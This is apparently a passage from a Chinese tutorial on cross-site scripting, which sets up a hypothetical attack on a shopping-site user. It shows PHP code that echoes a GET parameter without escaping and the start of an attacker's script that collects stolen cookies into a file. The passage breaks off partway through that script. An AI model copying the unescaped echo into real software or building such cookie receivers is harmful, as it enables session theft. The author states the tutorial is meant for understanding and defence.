XSS(Cross Site Scripting),跨站脚本攻击,取名XSS是避免和CSS同名。XSS攻击原理:攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。同时这也因为HTTP采用的明文模式,这样就让黑客有机可乘了(在我另一篇文章介绍过利用fiddle可以捕获HTTP报文)。我发现网上很多关于XSS攻击的文章都没有详细说明如何进行一次XSS攻击,本文章的目的不是为了教会读者利用这项技术去盗取用户的信息,给出来的目的只是为了更好地理解XSS是如何进行的,目的是为了更好的防护。
XSS攻击主要分为两种:DOM Based XSS、Stored XSS,前者是基于DOM结构的攻击,后者是将攻击代码嵌入服务器或者数据库中。
DOM Based XSS
1、猜测分析攻击网站的代码
先假设这么一个场景,李佳家登陆了她的淘宝账号,而且确实知道她登陆了,假设我知道了淘宝页面的某个内容是通过url的get获取的,假设为content参数(当然真实的淘宝不会有这个漏洞,这里只是假设而已),假设为http://172.29.25.24:8080/phpTest/xss.php?content=123(这是我测试的一个网址),我猜测淘宝会是这样输出的:
<?php
//setcookie("username","李佳家",time()+3600);
//setcookie("password","123456",time()+3600);
echo $_GET['content'];
?>
2、编写获取程序
这就是一个XSS漏洞了,这时候我建立一个自己获取网站test.php,将获取的信息保存在一个cookie.txt文件里面
<?php
$cookie = $_GET['cookie']; //以GET方式获取cookie变量值